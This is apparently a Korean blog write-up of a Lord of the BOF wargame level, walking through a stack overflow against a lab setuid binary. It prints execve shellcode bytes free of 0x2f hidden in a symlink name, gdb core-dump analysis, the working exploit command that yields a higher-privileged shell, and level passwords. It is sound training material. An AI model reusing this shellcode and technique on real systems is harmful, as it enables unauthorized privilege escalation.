[해커스쿨 LOB] Level8: Orge >> Troll

두비니

·

2020. 7. 25. 05:21

 

 

 


Level 8. Orge >> Troll

Theme: Check argc + argv hunter


 

 

로그인

id : orge
pw : timewalker

 

 

 

bash2 입력해주시고, 코드를 확인해봅시다.

[orge@localhost orge]$ bash2
[orge@localhost orge]$ nl troll.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - troll
     4          - check argc + argv hunter
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  extern char **environ;

     9  main(int argc, char *argv[])
    10  {
    11          char buffer[40];
    12          int i;

    13          // here is changed
    14          if(argc != 2){
    15                  printf("argc must be two!\n");
    16                  exit(0);
    17          }

    18          // egghunter
    19          for(i=0; environ[i]; i++)
    20                  memset(environ[i], 0, strlen(environ[i]));

    21          if(argv[1][47] != '\xbf')
    22          {
    23                  printf("stack is still your friend.\n");
    24                  exit(0);
    25          }

    26          // check the length of argument
    27          if(strlen(argv[1]) > 48){
    28                  printf("argument is too long!\n");
    29                  exit(0);
    30          }

    31          strcpy(buffer, argv[1]);
    32          printf("%s\n", buffer);

    33          // buffer hunter
    34          memset(buffer, 0, 40);

    35          // one more!
    36          memset(argv[1], 0, strlen(argv[1]));
    37  }
[orge@localhost orge]$

 

제한조건

 

1. 환경변수 사용 불가능 (egghunter)

2. 버퍼에 입력 불가능 (buffer hunter)

3. argv[1]의 48번째 바이트는 '\xbf'여야 함 (stack is still your friend)

4. argv[1] 길이 48 초과 불가능 (check the length of argument)

5. argv는 무조건 2개 입력 (here is changed) *new!*

6. argv[1]에 입력 불가능(one more!) *new!*  *

 

 

5번과 6번이 추가되었는데, 그러면 우리가 이전에 사용했었던 argv[1]공간 사용, argv[2]공간 사용 모두 불가능하네요.

그러면 어떤 공간을 사용할 수 있을까요?

한번 고민을 하고 글을 읽어보도록 합시다. 힌트는 Level7의 심화된 아이디어라고 생각하면 좋습니다.

 

 

 

 

 

 

 

충분히 고민을 했다고 생각하고, 진행하겠습니다.

우리는 argv[0]의 공간을 사용할 것입니다. 지금은 이용 가능한 공간이 argv[0]밖에 없고, 이를 전 단계에서 활용한 symbolic link를 응용하면 할 수 있을 것입니다.

 

 

[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
ln: cannot create symbolic link `▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                                                         ̀' to `troll': No such 
file or directory

어라? 이상한 에러가 뜨네요.

 

 

이렇게 에러가 발생하는 이유는 \x2f가 포함이 되어있기 때문입니다.

설명을 덧붙이자면 \x2f는 "/"이므로, 파일 이름에 포함되게 되면 파일 이름으로 인식하지 못하기 때문에 argv[0]을 이용할 것이라면 \x2f가 포함이 안되어있는 쉘코드를 이용해야합니다.

직접 만들수도 있지만, 쉘코드 생성 자체는 지금 단계에서 중요하게 여기는 부분은 아니라고 생각해 넘어갑니다.

혹시몰라 쉘코드를 제작하는 링크 남겨둡니다.

참고: https://d4m0n.tistory.com/62

 

[Linux/x86] Shellcode without 0x2f

Shellcode without 0x2f 이번 글에서는 0x2f가 없는 쉘코드를 만들어 볼 것이다. 0x2f는 문자로 '/'이며 이 문자는 리눅스에서 경로를 구분할 때 쓰인다. 간혹 argv[0]. 즉, 파일 이름에 쉘코드를 사용해야 ��

d4m0n.tistory.com

 

아무튼 우리가 사용하게될 38바이트짜리 쉘코드는 다음과 같습니다.

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

 

그럼 symbolic link를 설정해줍시다.

symbolic link에 대해서 잘 모르겠다면 전 문제를 복습합시다: https://dokhakdubini.tistory.com/210?category=797537

 

[해커스쿨 LOB] Level7: Darkelf >> Orge

Level 7. Darkelf >> Orge Theme: Check argv[0] (Symbolic Link) 로그인 id: darkelf pw: kernel crashed bash2 필수필수~ [darkelf@localhost darkelf]$ bash2 [darkelf@localhost darkelf]$ nl orge.c 1 /* 2..

dokhakdubini.tistory.com

 

 

어차피 gdb분석으로 주소를 찾아주어야 하기 때문에, 복사된 파일에 먼저 symbolic link를 걸어주고 진행하겠습니다.

 

 

[orge@localhost orge]$ cp troll trolb
[orge@localhost orge]$ ln -s trolb `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ./`python -c 'print "\x90"'`* `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
Segmentation fault (core dumped)

 

성공적으로 core dump가 이루어진 것을 볼 수 있고, 혹시나 core dump에 대해서 잘 모른다면 제 티스토리 '리눅스'라는 게시판에 core dump에 대한 글을 써놓았으니 참고하시길 바랍니다.

core분석을 해봅시다.

 

 

[orge@localhost orge]$ gdb -q -c core
Core was generated by `./▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/100x $esp
0xbffff960:     0x00000000      0xbffff9a4      0xbffff9b0      0x40013868
0xbffff970:     0x00000002      0x08048450      0x00000000      0x08048471
0xbffff980:     0x08048500      0x00000002      0xbffff9a4      0x08048390
0xbffff990:     0x0804866c      0x4000ae60      0xbffff99c      0x40013e90
0xbffff9a0:     0x00000002      0xbffffaa2      0xbffffb39      0x00000000
0xbffff9b0:     0xbffffb6a      0xbffffb79      0xbffffb92      0xbffffbb1
0xbffff9c0:     0xbffffbd3      0xbffffbdd      0xbffffda0      0xbffffdbf
0xbffff9d0:     0xbffffdd9      0xbffffdee      0xbffffe0a      0xbffffe15
0xbffff9e0:     0xbffffe22      0xbffffe2a      0xbffffe34      0xbffffe44
0xbffff9f0:     0xbffffe52      0xbffffe60      0xbffffe71      0xbffffe7c
0xbffffa00:     0xbffffe8c      0xbffffecc      0x00000000      0x00000003
0xbffffa10:     0x08048034      0x00000004      0x00000020      0x00000005
0xbffffa20:     0x00000006      0x00000006      0x00001000      0x00000007
0xbffffa30:     0x40000000      0x00000008      0x00000000      0x00000009
0xbffffa40:     0x08048450      0x0000000b      0x000001fb      0x0000000c
0xbffffa50:     0x000001fb      0x0000000d      0x000001fb      0x0000000e
0xbffffa60:     0x000001fb      0x00000010      0x0fabfbff      0x0000000f
0xbffffa70:     0xbffffa9d      0x00000000      0x00000000      0x00000000
0xbffffa80:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa90:     0x00000000      0x00000000      0x00000000      0x38366900
0xbffffaa0:     0x2f2e0036      0x90909090      0x90909090      0x90909090
0xbffffab0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffac0:     0x90909090      0x90909090      0x90909090      0x90909090
---Type <return> to continue, or q <return> to quit---
0xbffffad0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae0:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb) q

 

보니 0xbffffaa0줄부터 argv[0]이 시작하는 걸 볼 수 있네요. 여유롭게 주소를 0xbffffac0으로 가져가도록 하겠습니다.

이제 실제 파일에서 exploit을 해봅시다.

똑같은 이름으로 symbolic link를 걸어줄 것이기 때문에 기존의 파일은 삭제해줍시다.

 

[orge@localhost orge]$ rm -f `python -c 'print "\x90"'`*
[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

 

다음과 같이 symbolic link를 걸어주고, gdb 분석을 하기 위해 복사된 파일로 또다른 심볼릭 링크를 걸어줍시다.

혹시나 문자열 와일드카드 * 에 대해서 모르는 사람이 있을 것 같아 간단히 설명합니다.

쉽게말해 문자열을 쉽게 찾게 해주는 도우미 같은 역할을 합니다. 위 상태처럼 `python -c 'print "\x90"'`*이라고 입력하게 된다면 \x90으로 시작하는 모든 문자열들을 의미하게 됩니다. 즉 뒤에 긴 쉘코드를 붙이지 않아도 상관이 없는 것이죠.

이건 그냥 앞으로 리눅스하면서 많이 쓰이게 될 것이니 알아두도록 합시다.

 

+)그러고보니 그냥 rm -f \x90*이라고 입력해도 될뻔했네요. 그렇게 문제풀이해도 상관없을 것 같습니다.

 

문자열 와일드카드에는 위에 설명한 것 말고도 많은 옵션이 있는데, 다음 링크에도 자세하게 설명되어있으니 참고하시길 바랍니다.

https://eunguru.tistory.com/91

 

[UNIX / Linux] 특수 문자(Shell Metacharacter)

특수 문자 = 메타 문자(Metacharacter) - 쉘 메타 문자: 쉘 명령에서 사용하는 문자들 중 사전에 정의된 특별한 기능대로 동작하는 일부 문자 - 사전 정의 된 특수 문자 특수 문자  사전 정의  ~  홈 �

eunguru.tistory.com

 

 

아무튼 지정한 주소인 0xbffffac0로 실제 파일에 exploit을 해봅시다.

[orge@localhost orge]$ ./`python -c 'print "\x90"'`* `python -c 'print "A"*44 +"\xc0\xfa\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin

 

다음~